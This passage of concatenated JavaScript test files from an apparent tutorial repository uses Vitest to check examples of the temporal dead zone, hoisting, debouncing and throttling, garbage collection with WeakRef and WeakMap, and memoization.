it('should allow class to reference itself inside methods', () => { class Counter { static count = 0 constructor() { Counter.count++ // This works - class is initialized } static getCount() { return Counter.count } } new Counter() new Counter() expect(Counter.getCount()).toBe(2) }) }) describe('TDZ in Static Class Fields', () => { it('should return undefined for static fields referencing later fields', () => { // Note: This is NOT TDZ - it's property access returning undefined // because the property doesn't exist yet on the class object class Example { static a = Example.b // b not yet defined, returns undefined static b = 10 } expect(Example.a).toBe(undefined) // Not TDZ, just undefined property expect(Example.b).toBe(10) }) it('should allow static fields to reference earlier fields', () => { class Example { static a = 10 static b = Example.a + 5 } expect(Example.a).toBe(10) expect(Example.b).toBe(15) }) it('should throw for static field self-reference before class exists', () => { // This DOES throw because the class itself is in TDZ expect(() => { eval(` const x = MyClass.value // MyClass is in TDZ class MyClass { static value = 10 } `) }).toThrow(ReferenceError) }) }) describe('TDZ vs Hoisting Comparison', () => { it('should demonstrate var is hoisted with undefined', () => { function example() { expect(x).toBe(undefined) // hoisted, initialized to undefined var x = 10 expect(x).toBe(10) } example() }) it('should demonstrate function declarations are fully hoisted', () => { // Can call before declaration expect(hoistedFn()).toBe("I work!") function hoistedFn() { return "I work!" } }) it('should demonstrate function expressions are NOT hoisted', () => { expect(() => { eval(` notHoisted() var notHoisted = function() { return "Not hoisted" } `) }).toThrow(TypeError) // notHoisted is undefined, not a function }) it('should demonstrate arrow functions are NOT hoisted', () => { expect(() => { eval(` arrowFn() const arrowFn = () => "Not hoisted" `) }).toThrow(ReferenceError) // TDZ for const }) }) describe('Practical TDZ Scenarios', () => { describe('Shadowing Trap', () => { it('should demonstrate the shadowing TDZ trap', () => { const x = 10 expect(() => { eval(` function example() { const outer = x // Which x? The inner one (TDZ!) let x = 20 return outer } example() `) }).toThrow(ReferenceError) }) it('should show the correct way to handle shadowing', () => { const x = 10 function example() { const outer = x // Refers to outer x (no shadowing yet) // Don't declare another x if you need the outer one! return outer } expect(example()).toBe(10) }) }) describe('Conditional Initialization', () => { it('should have TDZ regardless of conditional branches', () => { expect(() => { eval(` { const value = x // TDZ even though if is false if (false) { // This never runs, but x is still in TDZ } let x = 10 } `) }).toThrow(ReferenceError) }) }) describe('Closure Over TDZ Variables', () => { it('should allow creating closures over TDZ variables', () => { function createAccessor() { // Function created before value is initialized const getValue = () => value const setValue = (v) => { value = v } let value = "initial" return { getValue, setValue } } const accessor = createAccessor() expect(accessor.getValue()).toBe("initial") accessor.setValue("updated") expect(accessor.getValue()).toBe("updated") }) }) }) describe('Why TDZ Exists', () => { it('should catch use-before-initialization bugs', () => { // Without TDZ (var), this bug is silent function buggyWithVar() { var total = price * quantity // undefined * undefined = NaN var price = 10 var quantity = 5 return total } expect(buggyWithVar()).toBeNaN() // Silent bug! // With TDZ (let/const), the bug is caught immediately expect(() => { eval(` function buggyWithLet() { let total = price * quantity // ReferenceError! let price = 10 let quantity = 5 return total } buggyWithLet() `) }).toThrow(ReferenceError) // Bug caught! }) it('should make const semantically meaningful', () => { // const should never have an "undefined" state // TDZ ensures you can't observe const before it has its value const PI = 3.14159 // If there was no TDZ, const would briefly be undefined // which contradicts its purpose as a constant expect(PI).toBe(3.14159) }) }) describe('Edge Cases', () => { it('should handle nested blocks with same variable name', () => { let x = "outer" { let x = "middle" expect(x).toBe("middle") { let x = "inner" expect(x).toBe("inner") } expect(x).toBe("middle") } expect(x).toBe("outer") }) it('should have TDZ in switch case blocks', () => { expect(() => { eval(` switch (1) { case 1: console.log(x) // TDZ! let x = 10 break } `) }).toThrow(ReferenceError) }) it('should avoid TDZ with block scoping in switch', () => { let result switch (1) { case 1: { let x = 10 result = x break } } expect(result).toBe(10) }) it('should have TDZ for let in try block visible in catch', () => { expect(() => { eval(` try { throw new Error() } catch (e) { console.log(x) // x is in TDZ } let x = 10 `) }).toThrow(ReferenceError) }) }) }) ================================================ FILE: tests/beyond/memory-performance/debouncing-throttling/debouncing-throttling.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' /** * Tests for Debouncing & Throttling concept page * Source: docs/beyond/concepts/debouncing-throttling.mdx */ describe('Debouncing & Throttling', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) describe('Basic Debounce Implementation', () => { // Source: docs/beyond/concepts/debouncing-throttling.mdx:47-60 function debounce(fn, delay) { let timeoutId return function(...args) { // Clear any existing timer clearTimeout(timeoutId) // Set a new timer timeoutId = setTimeout(() => { fn.apply(this, args) }, delay) } } it('should delay function execution', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 300) debouncedFn('test') // Function should not be called immediately expect(fn).not.toHaveBeenCalled() // Advance time by 300ms vi.advanceTimersByTime(300) // Now it should be called expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('test') }) it('should reset timer on subsequent calls', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 300) // Simulate user typing "hello" quickly debouncedFn('h') vi.advanceTimersByTime(50) debouncedFn('he') vi.advanceTimersByTime(50) debouncedFn('hel') vi.advanceTimersByTime(50) debouncedFn('hell') vi.advanceTimersByTime(50) debouncedFn('hello') // Function should not be called yet (timer keeps resetting) expect(fn).not.toHaveBeenCalled() // Wait for 300ms after last call vi.advanceTimersByTime(300) // Should only be called once with final value expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('hello') }) it('should preserve this context', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100) const obj = { value: 42, method: debouncedFn } obj.method() vi.advanceTimersByTime(100) expect(fn).toHaveBeenCalledTimes(1) }) it('should pass all arguments to the original function', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100) debouncedFn('arg1', 'arg2', { key: 'value' }) vi.advanceTimersByTime(100) expect(fn).toHaveBeenCalledWith('arg1', 'arg2', { key: 'value' }) }) }) describe('Basic Throttle Implementation', () => { // Source: docs/beyond/concepts/debouncing-throttling.mdx:95-109 function throttle(fn, interval) { let lastTime = 0 return function(...args) { const now = Date.now() // Only execute if enough time has passed if (now - lastTime >= interval) { lastTime = now fn.apply(this, args) } } } it('should execute immediately on first call', () => { const fn = vi.fn() const throttledFn = throttle(fn, 100) throttledFn('first') expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('first') }) it('should ignore calls within the interval', () => { const fn = vi.fn() const throttledFn = throttle(fn, 100) throttledFn('call1') expect(fn).toHaveBeenCalledTimes(1) // Calls within 100ms should be ignored vi.advanceTimersByTime(30) throttledFn('call2') expect(fn).toHaveBeenCalledTimes(1) vi.advanceTimersByTime(30) throttledFn('call3') expect(fn).toHaveBeenCalledTimes(1) vi.advanceTimersByTime(30) throttledFn('call4') expect(fn).toHaveBeenCalledTimes(1) }) it('should execute again after interval passes', () => { const fn = vi.fn() const throttledFn = throttle(fn, 100) throttledFn('first') expect(fn).toHaveBeenCalledTimes(1) vi.advanceTimersByTime(100) throttledFn('second') expect(fn).toHaveBeenCalledTimes(2) expect(fn).toHaveBeenLastCalledWith('second') }) it('should maintain regular execution rate during continuous calls', () => { const fn = vi.fn() const throttledFn = throttle(fn, 100) // Simulate continuous scroll events every 10ms for 350ms for (let i = 0; i < 35; i++) { throttledFn(`event${i}`) vi.advanceTimersByTime(10) } // Should have executed approximately 4 times (at 0, 100, 200, 300ms) expect(fn.mock.calls.length).toBeGreaterThanOrEqual(3) expect(fn.mock.calls.length).toBeLessThanOrEqual(5) }) }) describe('Leading Edge Debounce', () => { // Source: docs/beyond/concepts/debouncing-throttling.mdx:181-199 function debounceLeading(fn, delay) { let timeoutId return function(...args) { // Execute immediately if no pending timeout if (!timeoutId) { fn.apply(this, args) } // Clear and reset the timeout clearTimeout(timeoutId) timeoutId = setTimeout(() => { timeoutId = null // Allow next leading call }, delay) } } it('should execute immediately on first call', () => { const fn = vi.fn() const debouncedFn = debounceLeading(fn, 300) debouncedFn('first') // Should be called immediately expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('first') }) it('should ignore rapid subsequent calls', () => { const fn = vi.fn() const debouncedFn = debounceLeading(fn, 300) // First call executes immediately debouncedFn('call1') expect(fn).toHaveBeenCalledTimes(1) // Rapid calls are ignored debouncedFn('call2') debouncedFn('call3') debouncedFn('call4') expect(fn).toHaveBeenCalledTimes(1) }) it('should allow new leading call after delay expires', () => { const fn = vi.fn() const debouncedFn = debounceLeading(fn, 300) debouncedFn('first') expect(fn).toHaveBeenCalledTimes(1) vi.advanceTimersByTime(300) debouncedFn('second') expect(fn).toHaveBeenCalledTimes(2) expect(fn).toHaveBeenLastCalledWith('second') }) }) describe('Enhanced Debounce with Cancel', () => { // Source: docs/beyond/concepts/debouncing-throttling.mdx:222-261 function debounce(fn, delay, options = {}) { let timeoutId let lastArgs let lastThis const { leading = false, trailing = true } = options function debounced(...args) { lastArgs = args lastThis = this const invokeLeading = leading && !timeoutId clearTimeout(timeoutId) timeoutId = setTimeout(() => { timeoutId = null if (trailing && lastArgs) { fn.apply(lastThis, lastArgs) lastArgs = null lastThis = null } }, delay) if (invokeLeading) { fn.apply(this, args) } } debounced.cancel = function() { clearTimeout(timeoutId) timeoutId = null lastArgs = null lastThis = null } debounced.flush = function() { if (timeoutId && lastArgs) { fn.apply(lastThis, lastArgs) debounced.cancel() } } return debounced } it('should support trailing option (default behavior)', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100, { trailing: true }) debouncedFn('test') expect(fn).not.toHaveBeenCalled() vi.advanceTimersByTime(100) expect(fn).toHaveBeenCalledTimes(1) }) it('should support leading option', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100, { leading: true, trailing: false }) debouncedFn('first') expect(fn).toHaveBeenCalledTimes(1) debouncedFn('second') expect(fn).toHaveBeenCalledTimes(1) // Still 1, second call ignored vi.advanceTimersByTime(100) expect(fn).toHaveBeenCalledTimes(1) // No trailing call }) it('should support both leading and trailing', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100, { leading: true, trailing: true }) debouncedFn('first') expect(fn).toHaveBeenCalledTimes(1) // Leading call expect(fn).toHaveBeenCalledWith('first') debouncedFn('second') expect(fn).toHaveBeenCalledTimes(1) // Still 1 vi.advanceTimersByTime(100) expect(fn).toHaveBeenCalledTimes(2) // Trailing call expect(fn).toHaveBeenLastCalledWith('second') }) it('should cancel pending execution', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100) debouncedFn('test') expect(fn).not.toHaveBeenCalled() debouncedFn.cancel() vi.advanceTimersByTime(100) expect(fn).not.toHaveBeenCalled() // Cancelled, never executed }) it('should flush pending execution immediately', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100) debouncedFn('test') expect(fn).not.toHaveBeenCalled() debouncedFn.flush() expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('test') }) }) describe('Debounce vs Throttle Behavior Comparison', () => { function debounce(fn, delay) { let timeoutId return function(...args) { clearTimeout(timeoutId) timeoutId = setTimeout(() => fn.apply(this, args), delay) } } function throttle(fn, interval) { let lastTime = 0 return function(...args) { const now = Date.now() if (now - lastTime >= interval) { lastTime = now fn.apply(this, args) } } } it('debounce should only fire once after burst of events', () => { const fn = vi.fn() const debouncedFn = debounce(fn, 100) // Simulate burst of 10 events over 100ms for (let i = 0; i < 10; i++) { debouncedFn(`event${i}`) vi.advanceTimersByTime(10) } expect(fn).not.toHaveBeenCalled() // Not yet, timer keeps resetting vi.advanceTimersByTime(100) // Wait for debounce delay expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('event9') // Last event value }) it('throttle should fire multiple times during burst of events', () => { const fn = vi.fn() const throttledFn = throttle(fn, 100) // Simulate burst of events over 350ms (event every 10ms) for (let i = 0; i <= 35; i++) { throttledFn(`event${i}`) vi.advanceTimersByTime(10) } // Should have fired approximately 4 times (at 0, 100, 200, 300ms) expect(fn.mock.calls.length).toBeGreaterThanOrEqual(3) }) }) describe('Common Pitfalls', () => { function debounce(fn, delay) { let timeoutId return function(...args) { clearTimeout(timeoutId) timeoutId = setTimeout(() => fn.apply(this, args), delay) } } it('should demonstrate why debounced function must be created once', () => { const fn = vi.fn() // ❌ WRONG: Creating new debounced function each call // This doesn't actually debounce because each call gets a new timer const wrongWay = () => { const newDebounced = debounce(fn, 100) newDebounced('test') } wrongWay() wrongWay() wrongWay() vi.advanceTimersByTime(100) // All 3 calls went through because each had its own timer expect(fn).toHaveBeenCalledTimes(3) }) it('should demonstrate correct way - create debounced function once', () => { const fn = vi.fn() // ✓ CORRECT: Create once, reuse const debouncedFn = debounce(fn, 100) debouncedFn('test1') debouncedFn('test2') debouncedFn('test3') vi.advanceTimersByTime(100) // Only 1 call went through (proper debouncing) expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('test3') }) }) describe('Real-World Use Case: Search Autocomplete', () => { function debounce(fn, delay) { let timeoutId return function(...args) { clearTimeout(timeoutId) timeoutId = setTimeout(() => fn.apply(this, args), delay) } } it('should only search after user stops typing', () => { const mockSearch = vi.fn() const debouncedSearch = debounce(mockSearch, 300) // Simulate user typing "react" character by character debouncedSearch('r') vi.advanceTimersByTime(100) expect(mockSearch).not.toHaveBeenCalled() debouncedSearch('re') vi.advanceTimersByTime(100) expect(mockSearch).not.toHaveBeenCalled() debouncedSearch('rea') vi.advanceTimersByTime(100) expect(mockSearch).not.toHaveBeenCalled() debouncedSearch('reac') vi.advanceTimersByTime(100) expect(mockSearch).not.toHaveBeenCalled() debouncedSearch('react') // User stops typing, wait for debounce vi.advanceTimersByTime(300) expect(mockSearch).toHaveBeenCalledTimes(1) expect(mockSearch).toHaveBeenCalledWith('react') }) }) describe('Real-World Use Case: Scroll Position Tracking', () => { function throttle(fn, interval) { let lastTime = 0 return function(...args) { const now = Date.now() if (now - lastTime >= interval) { lastTime = now fn.apply(this, args) } } } it('should update scroll position at regular intervals', () => { const mockUpdatePosition = vi.fn() const throttledUpdate = throttle(mockUpdatePosition, 100) // Simulate 500ms of scrolling (event every 16ms, like 60fps) for (let i = 0; i < 31; i++) { throttledUpdate({ scrollY: i * 10 }) vi.advanceTimersByTime(16) } // Should have updated approximately 5 times (every 100ms) expect(mockUpdatePosition.mock.calls.length).toBeGreaterThanOrEqual(4) expect(mockUpdatePosition.mock.calls.length).toBeLessThanOrEqual(6) // First call should be the first scroll event expect(mockUpdatePosition.mock.calls[0][0]).toEqual({ scrollY: 0 }) }) }) describe('Real-World Use Case: Prevent Double Submit', () => { function debounceLeading(fn, delay) { let timeoutId return function(...args) { if (!timeoutId) { fn.apply(this, args) } clearTimeout(timeoutId) timeoutId = setTimeout(() => { timeoutId = null }, delay) } } it('should only submit once on double-click', () => { const mockSubmit = vi.fn() const safeSubmit = debounceLeading(mockSubmit, 1000) // User double-clicks rapidly safeSubmit({ formData: 'order123' }) safeSubmit({ formData: 'order123' }) safeSubmit({ formData: 'order123' }) // Only first submit should go through expect(mockSubmit).toHaveBeenCalledTimes(1) expect(mockSubmit).toHaveBeenCalledWith({ formData: 'order123' }) // After 1 second, can submit again vi.advanceTimersByTime(1000) safeSubmit({ formData: 'order456' }) expect(mockSubmit).toHaveBeenCalledTimes(2) expect(mockSubmit).toHaveBeenLastCalledWith({ formData: 'order456' }) }) }) describe('requestAnimationFrame Throttle Alternative', () => { // Note: jsdom doesn't have a real rAF, but we can test the pattern function throttleWithRAF(fn) { let ticking = false let lastArgs return function(...args) { lastArgs = args if (!ticking) { ticking = true // Using setTimeout to simulate rAF behavior in tests setTimeout(() => { fn.apply(this, lastArgs) ticking = false }, 16) // ~60fps } } } it('should batch rapid calls into animation frames', () => { const fn = vi.fn() const throttledFn = throttleWithRAF(fn) // Multiple calls before frame executes throttledFn('call1') throttledFn('call2') throttledFn('call3') expect(fn).not.toHaveBeenCalled() vi.advanceTimersByTime(16) // Only last args should be used expect(fn).toHaveBeenCalledTimes(1) expect(fn).toHaveBeenCalledWith('call3') }) }) }) ================================================ FILE: tests/beyond/memory-performance/garbage-collection/garbage-collection.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Garbage Collection', () => { // ============================================================ // REACHABILITY AND REFERENCES // From garbage-collection.mdx lines 51-62 // ============================================================ describe('Reachability and References', () => { // From lines 51-62: Basic reachability example it('should demonstrate object reachability through variables', () => { // 'user' references the object let user = { name: 'Alice' } // The object is reachable through 'user' expect(user).toEqual({ name: 'Alice' }) // After nullifying, the reference is gone user = null // Now 'user' is null (object is unreachable, eligible for GC) expect(user).toBe(null) }) // From lines 97-119: Family example with circular references it('should create objects with circular references', () => { function createFamily() { let father = { name: 'John' } let mother = { name: 'Jane' } // Create references between objects father.spouse = mother mother.spouse = father return { father, mother } } let family = createFamily() // Both father and mother are reachable through 'family' expect(family.father.name).toBe('John') expect(family.mother.name).toBe('Jane') // Circular references exist expect(family.father.spouse).toBe(family.mother) expect(family.mother.spouse).toBe(family.father) expect(family.father.spouse.spouse).toBe(family.father) // After nullifying family, objects become unreachable family = null expect(family).toBe(null) // Both objects (including their circular refs) are now eligible for GC }) }) // ============================================================ // MARK-AND-SWEEP AND CIRCULAR REFERENCES // From garbage-collection.mdx lines 181-192 // ============================================================ describe('Circular References', () => { // From lines 181-192: Circular reference with family it('should handle circular references between objects', () => { let family = { father: { name: 'John' }, mother: { name: 'Jane' } } family.father.spouse = family.mother family.mother.spouse = family.father // Circular reference: father ↔ mother expect(family.father.spouse.name).toBe('Jane') expect(family.mother.spouse.name).toBe('John') // Objects reference each other expect(family.father.spouse.spouse.name).toBe('John') family = null // Mark phase would start from roots, can't reach father or mother // Neither gets marked, both get swept // Circular reference doesn't prevent GC in mark-and-sweep! expect(family).toBe(null) }) // From lines 212-229: createCycle function demonstrating circular refs it('should create circular references that do not leak in mark-and-sweep', () => { function createCycle() { let objA = {} let objB = {} objA.ref = objB objB.ref = objA // Circular reference exists inside function expect(objA.ref).toBe(objB) expect(objB.ref).toBe(objA) expect(objA.ref.ref).toBe(objA) // Return nothing - objects become unreachable after function returns } createCycle() // With mark-and-sweep: Both collected (unreachable from roots) // No leak! }) }) // ============================================================ // REFERENCE TRACKING // From garbage-collection.mdx lines 646-659 // ============================================================ describe('Reference Tracking (Test Your Knowledge Q1)', () => { // From lines 646-659: Multiple references to same object it('should keep object alive while any reference exists', () => { let user = { name: 'Alice' } let admin = user // Both variables reference the same object expect(user).toBe(admin) expect(user.name).toBe('Alice') expect(admin.name).toBe('Alice') user = null // Object still exists through 'admin' expect(user).toBe(null) expect(admin).toEqual({ name: 'Alice' }) // Only when all references are gone can it be collected admin = null expect(admin).toBe(null) }) }) // ============================================================ // GC-FRIENDLY CODE PATTERNS // From garbage-collection.mdx lines 320-334 // ============================================================ describe('GC-Friendly Code Patterns', () => { // From lines 320-334: Variables going out of scope it('should allow variables to go out of scope naturally', () => { function processData() { const largeArray = new Array(100).fill('data') // Process the array... const result = largeArray.reduce((sum, item) => sum + item.length, 0) return result // largeArray goes out of scope here } const result = processData() // largeArray is already unreachable expect(result).toBe(400) // 100 items * 4 chars each }) // From lines 340-351: Nullifying references to large objects it('should allow early nullification for large objects', () => { function longRunningTask() { let hugeData = new Array(1000).fill('x') const summary = hugeData.length hugeData = null // Allow GC to reclaim memory now // Can still use summary expect(hugeData).toBe(null) return summary } const result = longRunningTask() expect(result).toBe(1000) }) }) // ============================================================ // CLOSURE MEMORY PATTERNS // From garbage-collection.mdx lines 382-408 // ============================================================ describe('Closure Memory Patterns', () => { // From lines 399-408: Better closure pattern it('should only capture what is needed in closures', () => { function createBetterHandler() { const hugeData = new Array(1000000).fill('x') const summary = hugeData.length // Extract what you need return function handler() { return `Data size was: ${summary}` } // hugeData goes out of scope, only 'summary' is captured } const handler = createBetterHandler() expect(handler()).toBe('Data size was: 1000000') // Only 'summary' (a number) is captured, not the huge array }) // From lines 382-396: Closure capturing more than needed it('should demonstrate closure capturing outer scope', () => { function createHandler() { const hugeData = new Array(100).fill('x') return function handler() { // This closure captures the outer scope // In some engines, hugeData may be kept alive return 'Handler called' } } const handler = createHandler() expect(handler()).toBe('Handler called') }) }) // ============================================================ // TIMER CLEANUP PATTERNS // From garbage-collection.mdx lines 448-465 // ============================================================ describe('Timer Cleanup', () => { // From lines 457-464: Clearing intervals it('should clear intervals to allow GC', () => { let callCount = 0 const data = { value: 'test' } const intervalId = setInterval(() => { callCount++ }, 10) // Wait a bit then clear return new Promise((resolve) => { setTimeout(() => { clearInterval(intervalId) const countBeforeClear = callCount // After clearing, no more calls should happen setTimeout(() => { // Count should not have increased significantly expect(callCount).toBe(countBeforeClear) resolve() }, 50) }, 50) }) }) }) // ============================================================ // WEAKREF BASICS // From garbage-collection.mdx lines 477-488 // ============================================================ describe('WeakRef Basics', () => { // From lines 477-488: WeakRef usage it('should create a WeakRef and deref it', () => { const someObject = { data: 'important' } const weakRef = new WeakRef(someObject) // Object still exists, deref returns it const obj = weakRef.deref() expect(obj).toBe(someObject) expect(obj.data).toBe('important') }) it('should demonstrate WeakRef API', () => { let target = { value: 42 } const ref = new WeakRef(target) // While target exists, deref returns it expect(ref.deref()).toBe(target) expect(ref.deref().value).toBe(42) // Note: We cannot test GC actually collecting the object // because GC timing is non-deterministic }) }) // ============================================================ // WEAKMAP FOR CACHING // From garbage-collection.mdx lines 555-564 // ============================================================ describe('WeakMap for Caching', () => { // From lines 555-564: WeakMap cache pattern it('should use WeakMap for object-keyed caching', () => { const cache = new WeakMap() function expensiveComputation(obj) { return Object.keys(obj).length * 100 } function getCached(obj) { if (!cache.has(obj)) { cache.set(obj, expensiveComputation(obj)) } return cache.get(obj) } const myObj = { a: 1, b: 2, c: 3 } // First call computes expect(getCached(myObj)).toBe(300) // Second call returns cached value expect(getCached(myObj)).toBe(300) expect(cache.has(myObj)).toBe(true) // Different object, different computation const anotherObj = { x: 1 } expect(getCached(anotherObj)).toBe(100) }) // Test that WeakMap keys can be garbage collected it('should allow WeakMap keys to be GC eligible', () => { const cache = new WeakMap() let key = { id: 1 } cache.set(key, 'cached value') expect(cache.has(key)).toBe(true) expect(cache.get(key)).toBe('cached value') // If we lose the reference to key, the entry becomes GC eligible // We can't test actual GC, but we can verify the API works key = null // The WeakMap entry is now eligible for garbage collection }) }) // ============================================================ // DELETE OPERATOR BEHAVIOR // From garbage-collection.mdx lines 500-510 // ============================================================ describe('Delete Operator', () => { // From lines 500-510: delete vs undefined it('should remove property with delete', () => { const obj = { data: new Array(100) } expect('data' in obj).toBe(true) expect(obj.data).toBeDefined() delete obj.data // Property is removed expect('data' in obj).toBe(false) expect(obj.data).toBe(undefined) }) it('should compare delete vs setting undefined', () => { const obj1 = { data: [1, 2, 3] } const obj2 = { data: [1, 2, 3] } // Using delete delete obj1.data expect('data' in obj1).toBe(false) expect(Object.keys(obj1)).toEqual([]) // Using undefined obj2.data = undefined expect('data' in obj2).toBe(true) // Property still exists! expect(Object.keys(obj2)).toEqual(['data']) expect(obj2.data).toBe(undefined) }) }) // ============================================================ // OBJECT CACHING WITHOUT WEAKMAP (LEAK PATTERN) // From garbage-collection.mdx lines 544-553 // ============================================================ describe('Cache Patterns', () => { // From lines 544-553: Regular object cache (leak pattern) it('should demonstrate unbounded cache growth', () => { const cache = {} function getCached(key) { if (!cache[key]) { cache[key] = `computed_${key}` } return cache[key] } // Cache grows with each unique key getCached('key1') getCached('key2') getCached('key3') expect(Object.keys(cache).length).toBe(3) expect(cache['key1']).toBe('computed_key1') // This pattern can lead to memory leaks if keys keep growing // and old entries are never removed }) }) // ============================================================ // CIRCULAR REFERENCE DETECTION PATTERNS // ============================================================ describe('Circular Reference Patterns', () => { it('should create deeply nested circular references', () => { const a = { name: 'a' } const b = { name: 'b' } const c = { name: 'c' } a.next = b b.next = c c.next = a // Circular! // Can traverse the circle expect(a.next.next.next.name).toBe('a') expect(a.next.next.next.next.name).toBe('b') }) it('should create self-referencing objects', () => { const obj = { name: 'self' } obj.self = obj // Self-reference expect(obj.self).toBe(obj) expect(obj.self.self.self.name).toBe('self') // When obj is unreachable, the self-reference doesn't prevent GC }) }) // ============================================================ // TEST YOUR KNOWLEDGE - Q2 from lines 667-679 // ============================================================ describe('Test Your Knowledge Examples', () => { // From lines 667-679: createCycle function it('should demonstrate circular reference in function scope', () => { let cycleCreated = false function createCycle() { let a = {} let b = {} a.ref = b b.ref = a cycleCreated = true } createCycle() // Both objects are collected after the function returns // The circular reference doesn't keep them alive expect(cycleCreated).toBe(true) }) }) // ============================================================ // REFERENCE COUNTING CONCEPTUAL EXAMPLE // From garbage-collection.mdx lines 202-208 // ============================================================ describe('Reference Counting (Conceptual)', () => { // From lines 202-208: Reference counting example it('should demonstrate multiple references to same object', () => { // Reference counting (conceptual, not real JS) let obj = { data: 'hello' } // refcount would be: 1 let ref = obj // refcount would be: 2 expect(obj).toBe(ref) expect(obj.data).toBe('hello') ref = null // refcount would go to: 1 expect(ref).toBe(null) expect(obj.data).toBe('hello') // Object still exists obj = null // refcount would go to: 0 expect(obj).toBe(null) // Object would now be freed in reference counting }) }) // ============================================================ // EDGE CASES // ============================================================ describe('Edge Cases', () => { it('should handle null and undefined references', () => { let obj = { value: 1 } // Setting to null obj = null expect(obj).toBe(null) // Creating new object obj = { value: 2 } expect(obj.value).toBe(2) // Setting to undefined obj = undefined expect(obj).toBe(undefined) }) it('should handle reassignment in loops', () => { let holder = null for (let i = 0; i < 5; i++) { // Each iteration creates a new object // Previous object becomes unreachable (eligible for GC) holder = { iteration: i } } // Only the last object is reachable expect(holder.iteration).toBe(4) }) it('should handle objects in arrays', () => { const arr = [{ id: 1 }, { id: 2 }, { id: 3 }] // All objects reachable through array expect(arr[0].id).toBe(1) // Remove reference from array arr[0] = null expect(arr[0]).toBe(null) // Original { id: 1 } is now eligible for GC // Clear array arr.length = 0 expect(arr.length).toBe(0) // All objects now eligible for GC }) it('should handle nested object structures', () => { let root = { level1: { level2: { level3: { value: 'deep' } } } } // All levels reachable through root expect(root.level1.level2.level3.value).toBe('deep') // Nullify intermediate reference root.level1.level2 = null // level3 is now unreachable (eligible for GC) expect(root.level1.level2).toBe(null) root = null // Entire structure now eligible for GC }) }) }) ================================================ FILE: tests/beyond/memory-performance/memoization/memoization.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' describe('Memoization', () => { // ============================================================ // WHAT IS MEMOIZATION? // From memoization.mdx lines 37-58 // ============================================================ describe('What is Memoization?', () => { // From lines 37-58: Basic memoizedDouble example it('should cache results and return cached value on subsequent calls', () => { function memoizedDouble(n) { if (memoizedDouble.cache[n] !== undefined) { return memoizedDouble.cache[n] } const result = n * 2 memoizedDouble.cache[n] = result return result } memoizedDouble.cache = {} // First call - calculates const result1 = memoizedDouble(5) expect(result1).toBe(10) expect(memoizedDouble.cache[5]).toBe(10) // Second call - from cache const result2 = memoizedDouble(5) expect(result2).toBe(10) // Different input - calculates const result3 = memoizedDouble(7) expect(result3).toBe(14) expect(memoizedDouble.cache[7]).toBe(14) }) }) // ============================================================ // HOW TO BUILD A MEMOIZE FUNCTION // From memoization.mdx lines 94-195 // ============================================================ describe('How to Build a Memoize Function', () => { // From lines 102-114: Step 1 - Basic Structure describe('Step 1: Basic Structure', () => { it('should memoize single argument functions', () => { function memoize(fn) { const cache = new Map() return function(arg) { if (cache.has(arg)) { return cache.get(arg) } const result = fn(arg) cache.set(arg, result) return result } } let callCount = 0 const double = memoize((n) => { callCount++ return n * 2 }) expect(double(5)).toBe(10) expect(callCount).toBe(1) expect(double(5)).toBe(10) expect(callCount).toBe(1) // Not called again expect(double(7)).toBe(14) expect(callCount).toBe(2) }) }) // From lines 118-141: Step 2 - Handle Multiple Arguments describe('Step 2: Handle Multiple Arguments', () => { it('should memoize functions with multiple arguments', () => { function memoize(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) { return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } let callCount = 0 const add = memoize((a, b) => { callCount++ return a + b }) expect(add(2, 3)).toBe(5) expect(callCount).toBe(1) expect(add(2, 3)).toBe(5) expect(callCount).toBe(1) // Cached expect(add(3, 2)).toBe(5) expect(callCount).toBe(2) // Different key: "[3,2]" vs "[2,3]" }) }) // From lines 145-162: Step 3 - Preserve this Context describe('Step 3: Preserve this Context', () => { it('should preserve this context when used as method', () => { function memoize(fn) { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) { return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } const calculator = { multiplier: 10, calculate: memoize(function(n) { return n * this.multiplier }) } expect(calculator.calculate(5)).toBe(50) expect(calculator.calculate(5)).toBe(50) // Cached }) }) // From lines 166-181: Complete Implementation describe('Complete Implementation', () => { it('should work with the complete memoize function', () => { function memoize(fn) { const cache = new Map() return function memoized(...args) { const key = JSON.stringify(args) if (cache.has(key)) { return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } const multiply = memoize((a, b, c) => a * b * c) expect(multiply(2, 3, 4)).toBe(24) expect(multiply(2, 3, 4)).toBe(24) expect(multiply(1, 2, 3)).toBe(6) }) }) }) // ============================================================ // MEMOIZING RECURSIVE FUNCTIONS // From memoization.mdx lines 199-262 // ============================================================ describe('Memoizing Recursive Functions', () => { // Helper memoize function for this section function memoize(fn) { const cache = new Map() return function memoized(...args) { const key = JSON.stringify(args) if (cache.has(key)) { return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } // From lines 203-217: The Problem - Exponential Time Complexity describe('Naive Fibonacci', () => { it('should calculate fibonacci correctly (but slowly)', () => { function fibonacci(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) } expect(fibonacci(0)).toBe(0) expect(fibonacci(1)).toBe(1) expect(fibonacci(5)).toBe(5) expect(fibonacci(10)).toBe(55) }) }) // From 